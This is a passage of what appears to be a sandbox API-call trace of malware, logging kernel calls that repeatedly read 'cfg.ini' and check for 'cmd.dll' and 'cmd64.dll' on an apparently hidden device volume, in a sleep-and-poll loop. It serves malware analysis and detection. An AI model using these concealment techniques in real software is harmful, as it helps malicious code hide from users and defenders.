ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] KeLeaveCriticalRegion () [0120.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.374] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.374] KeEnterCriticalRegion () [0120.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] KeLeaveCriticalRegion () [0120.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.374] ReleaseMutex (hMutex=0xf0) returned 1 [0120.374] Sleep (dwMilliseconds=0x124f80) [0120.388] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.388] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.388] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.388] KeEnterCriticalRegion () [0120.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.388] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.388] IdePortDispatch () returned 0x103 [0120.388] KeWaitForMutexObject () returned 0x0 [0120.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.388] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.388] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.388] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.388] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.388] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc340 [0120.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.389] KeLeaveCriticalRegion () [0120.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.389] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.389] KeEnterCriticalRegion () [0120.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.389] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.389] KeLeaveCriticalRegion () [0120.389] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.389] KeEnterCriticalRegion () [0120.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.389] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.389] IdePortDispatch () returned 0x103 [0120.389] KeWaitForMutexObject () returned 0x0 [0120.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.389] KeLeaveCriticalRegion () [0120.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.389] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.389] KeEnterCriticalRegion () [0120.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003457000 [0120.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.389] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.389] IdePortDispatch () returned 0x103 [0120.389] KeWaitForMutexObject () returned 0x0 [0120.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.390] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.390] IdePortDispatch () returned 0x103 [0120.390] KeWaitForMutexObject () returned 0x0 [0120.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.390] KeLeaveCriticalRegion () [0120.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.390] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.390] KeEnterCriticalRegion () [0120.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.391] KeLeaveCriticalRegion () [0120.391] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.391] KeEnterCriticalRegion () [0120.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.391] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.391] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.391] KeLeaveCriticalRegion () [0120.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.391] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.391] KeEnterCriticalRegion () [0120.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.391] ExFreePoolWithTag (P=0xfffffa8003bbc340, Tag=0x0) [0120.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.391] KeLeaveCriticalRegion () [0120.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.391] ReleaseMutex (hMutex=0xf0) returned 1 [0120.391] Sleep (dwMilliseconds=0x124f80) [0120.405] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.405] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.405] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.405] KeEnterCriticalRegion () [0120.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.406] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.406] IdePortDispatch () returned 0x103 [0120.406] KeWaitForMutexObject () returned 0x0 [0120.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.406] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.406] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.406] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.406] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.406] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2340 [0120.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.406] KeLeaveCriticalRegion () [0120.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.406] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.406] KeEnterCriticalRegion () [0120.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.406] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.406] KeLeaveCriticalRegion () [0120.406] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.406] KeEnterCriticalRegion () [0120.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.406] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.406] IdePortDispatch () returned 0x103 [0120.406] KeWaitForMutexObject () returned 0x0 [0120.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.406] KeLeaveCriticalRegion () [0120.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.407] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.407] KeEnterCriticalRegion () [0120.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.407] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003460000 [0120.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.407] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.407] IdePortDispatch () returned 0x103 [0120.407] KeWaitForMutexObject () returned 0x0 [0120.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.407] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.407] IdePortDispatch () returned 0x103 [0120.407] KeWaitForMutexObject () returned 0x0 [0120.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.407] KeLeaveCriticalRegion () [0120.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.408] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.408] KeEnterCriticalRegion () [0120.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.408] KeLeaveCriticalRegion () [0120.408] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.408] KeEnterCriticalRegion () [0120.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.408] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.408] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.408] KeLeaveCriticalRegion () [0120.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.408] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.408] KeEnterCriticalRegion () [0120.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.408] ExFreePoolWithTag (P=0xfffffa8003bc2340, Tag=0x0) [0120.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.408] KeLeaveCriticalRegion () [0120.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.408] ReleaseMutex (hMutex=0xf0) returned 1 [0120.408] Sleep (dwMilliseconds=0x124f80) [0120.425] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.425] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.425] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.425] KeEnterCriticalRegion () [0120.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.425] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.425] IdePortDispatch () returned 0x103 [0120.425] KeWaitForMutexObject () returned 0x0 [0120.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2340 [0120.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.425] KeLeaveCriticalRegion () [0120.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.425] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.426] KeEnterCriticalRegion () [0120.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.426] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.426] KeLeaveCriticalRegion () [0120.426] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.426] KeEnterCriticalRegion () [0120.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.426] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.426] IdePortDispatch () returned 0x103 [0120.426] KeWaitForMutexObject () returned 0x0 [0120.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.426] KeLeaveCriticalRegion () [0120.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.426] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.426] KeEnterCriticalRegion () [0120.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003465000 [0120.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.426] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.426] IdePortDispatch () returned 0x103 [0120.426] KeWaitForMutexObject () returned 0x0 [0120.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.427] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.427] IdePortDispatch () returned 0x103 [0120.427] KeWaitForMutexObject () returned 0x0 [0120.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.427] KeLeaveCriticalRegion () [0120.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.427] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.427] KeEnterCriticalRegion () [0120.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.428] KeLeaveCriticalRegion () [0120.428] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.428] KeEnterCriticalRegion () [0120.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.428] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.428] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.428] KeLeaveCriticalRegion () [0120.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.428] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.428] KeEnterCriticalRegion () [0120.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.428] ExFreePoolWithTag (P=0xfffffa8003bc2340, Tag=0x0) [0120.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.428] KeLeaveCriticalRegion () [0120.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.428] ReleaseMutex (hMutex=0xf0) returned 1 [0120.428] Sleep (dwMilliseconds=0x124f80) [0120.442] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.442] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.442] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.442] KeEnterCriticalRegion () [0120.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.442] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.442] IdePortDispatch () returned 0x103 [0120.442] KeWaitForMutexObject () returned 0x0 [0120.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.442] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.442] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.443] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.443] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.443] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9a90 [0120.443] 